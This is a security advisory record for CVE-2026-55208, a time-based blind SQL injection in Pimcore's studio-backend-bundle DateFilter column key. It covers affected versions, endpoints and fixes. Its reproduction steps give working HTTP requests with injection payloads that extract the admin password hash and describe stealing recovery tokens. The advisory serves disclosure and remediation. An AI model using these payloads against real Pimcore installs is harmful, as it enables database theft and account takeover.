{"id":"CVE-2026-55208","aliases":["GHSA-79cw-hfcc-7mw9"],"title":"Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes","summary":"Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes","severity":"high","cvss":7.7,"cwe":["CWE-89"],"vendor":"pimcore","product":"pimcore/studio-backend-bundle","ecosystem":"composer","affected":["pimcore/studio-backend-bundle < 2025.4.6","pimcore/studio-backend-bundle >= 2026.1.0, < 2026.1.6"],"patched":["pimcore/studio-backend-bundle 2025.4.6","pimcore/studio-backend-bundle 2026.1.6"],"published":"2026-08-28","updated":"2026-08-28","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-79cw-hfcc-7mw9","references":[{"url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-79cw-hfcc-7mw9"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55208"},{"url":"https://github.com/pimcore/studio-backend-bundle/pull/1883"},{"url":"https://github.com/pimcore/studio-backend-bundle/commit/f532428cfbf4f5d6e299a13cedd5c29541802552"},{"url":"https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"},{"url":"https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"},{"url":"https://github.com/advisories/GHSA-79cw-hfcc-7mw9"}],"tags":["ghsa","composer"],"epss":0.00413,"epssPercentile":0.35274,"ingestedAt":"2026-08-28T19:24:18.862Z","slug":"CVE-2026-55208","body":"## Overview\n\n## Summary\n\nAn authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the `DateFilter` column key parameter. The `POST /pimcore-studio/api/website-settings` endpoint (and 11 other listing endpoints) accepts a `columnFilters` array where the `key` field is interpolated directly into SQL with only manual backtick wrapping. The `DateFilter` uses fixed named parameters (`:minTime`, `:maxTime`), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including `SLEEP()` for time-based extraction and `IF()` subqueries for conditional data exfiltration.\n\n## Vulnerability Details\n\n### Exploitable: DateFilter with Fixed Named Parameters\n\n`src/Listing/Filter/DateFilter.php` lines 49-57 handle the `on` operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as `:minTime` and `:maxTime`:\n\n```php\n$key = $column->getKey(); // user-controlled, no validation\n$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';\n$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);\n```\n\nBecause the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.\n\n### Same Pattern in Note FilterService\n\n`src/Note/Service/FilterService.php` lines 64-67:\n\n```php\n$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';\n$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);\n```\n\n### No Validation on Column Key\n\n`src/MappedParameter/Filter/ColumnFilter.php` accepts any string as the `key` with zero validation or allowlisting.\n\n### Why Backtick Wrapping is Not Escaping\n\nManual backtick wrapping (`` '`' . $key . '`' ``) does not escape internal backtick characters. `quoteIdentifier()` doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the `-- ` (double dash space) comments out the remainder of the query:\n\n**Input:** ``key = \"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \"``\n\n**Produces:**\n```sql\n(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime)\n```\n\nEverything after `-- ` is a SQL comment. The injected `SLEEP(3)` executes unconditionally.\n\n### Contrast with Safe Patterns in the Same Codebase\n\n- `LogRepository.php` line 202: uses `$this->dbResolver->get()->quoteIdentifier()` (safe)\n- `ClassificationStore/Configuration/KeyRepository.php`: uses `ALLOWED_SORT_KEYS` allowlist (safe)\n\n### Note on EqualsFilter/LikeFilter\n\nThe `EqualsFilter` and `LikeFilter` have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (`:columnName`). PDO requires named parameters to match `[a-zA-Z0-9_]`, so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.\n\n## Steps to Reproduce\n\nTested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11.\n\n### Step 1: Baseline request (no injection)\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\n\n{\"page\":1,\"pageSize\":10}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 1` -- **0.07 seconds**\n\n\"image\"\n\n\n### Step 2: Unconditional SLEEP(3) injection\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 0` -- **6.07 seconds**\n\n\"image\"\n\n\"image\"\n\n\nThe 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:\n\n```sql\nSELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime) ORDER BY `id` ASC LIMIT 50\n```\n\n### Step 3: Conditional SLEEP proving data extraction (TRUE case)\n\nThis query tests whether the admin password hash starts with `$2y$` (bcrypt, hex `0x24327924`). If true, the server sleeps 3 seconds. If false, no delay.\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **6.07 seconds** (TRUE: admin password hash starts with `$2y$`)\n\n\"image\"\n\n\n\"image\"\n\n\n\n### Step 4: Conditional SLEEP (FALSE case, wrong guess)\n\nSame query but testing for `XXXX` (hex `0x58585858`) instead:\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **0.07 seconds** (FALSE: password does not start with `XXXX`)\n\n\"image\"\n\n\n### Timing comparison\n\n| Request | Payload | Response Time | Meaning |\n|---------|---------|---------------|---------|\n| Baseline | No injection | 0.07s | Normal |\n| Unconditional SLEEP | `AND SLEEP(3)` | 6.07s | Injection confirmed |\n| Conditional TRUE | `IF(password starts with $2y$, SLEEP(3), 0)` | 6.07s | Data extracted: hash is bcrypt |\n| Conditional FALSE | `IF(password starts with XXXX, SLEEP(3), 0)` | 0.07s | Control: no match, no delay |\n\nBy iterating through characters with `SUBSTRING(password, N, 1)`, an attacker extracts the full bcrypt hash for offline cracking, or extracts `passwordRecoveryToken` values for direct account takeover without cracking.\n\n## Impact\n\nAn authenticated user with `website_settings` permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.\n\nDirectly extractable high-value data:\n- Admin password hashes (`users.password`) for offline cracking\n- Password recovery tokens (`users.passwordRecoveryToken`) for direct account takeover via `POST /login/token`\n- Session data for session hijacking\n- All PIM product data, CMS content, and asset metadata\n\n## Affected Endpoints\n\nAll endpoints using `ListingFilter::applyFilters()` with a DateFilter `on` column filter:\n\n- `POST /pimcore-studio/api/website-settings`\n- `POST /pimcore-studio/api/notifications`\n- `POST /pimcore-studio/api/recycle-bin`\n- `POST /pimcore-studio/api/redirects`\n- `POST /pimcore-studio/api/translations/{domain}`\n- `POST /pimcore-studio/api/quantity-value/units`\n- `POST /pimcore-studio/api/properties`\n- `POST /pimcore-studio/api/classification-store/{storeId}/keys`\n- `POST /pimcore-studio/api/classification-store/{storeId}/groups`\n- `POST /pimcore-studio/api/classification-store/{storeId}/collections`\n- `GET /pimcore-studio/api/notes/{elementType}/{id}` (via Note FilterService fieldFilters)\n\n## Recommended Fix\n\nReplace manual backtick wrapping with `Doctrine\\DBAL\\Connection::quoteIdentifier()`, or implement a per-listing allowlist of valid column names:\n\n```php\n// Option 1: quoteIdentifier (doubles internal backticks)\n$db = \\Pimcore\\Db::get();\n$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';\n\n// Option 2: allowlist (preferred)\nprivate const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];\nif (!in_array($key, self::ALLOWED_COLUMNS, true)) {\n throw new InvalidArgumentException('Invalid filter column');\n}\n```\n\nApply the same fix to `EqualsFilter`, `LikeFilter`, and `Note/FilterService` as defense-in-depth, even though those are currently protected by PDO named parameter validation.\n\n## Supporting Materials\n\n- Live-tested on Pimcore 12.x (2026.x branch, commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11\n- MySQL general query log confirms injected SQL reaches the database\n- The safe pattern (`quoteIdentifier()`) exists in the same codebase in `LogRepository.php` line 202\n- Package: `pimcore/studio-backend-bundle`\n\n## Affected packages\n\n- `pimcore/studio-backend-bundle < 2025.4.6`\n- `pimcore/studio-backend-bundle >= 2026.1.0, < 2026.1.6`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pimcore/studio-backend-bundle 2025.4.6`\n- `pimcore/studio-backend-bundle 2026.1.6`","depth":"twilight","depthScore":42,"depthScoreParts":{"impact":42.4,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}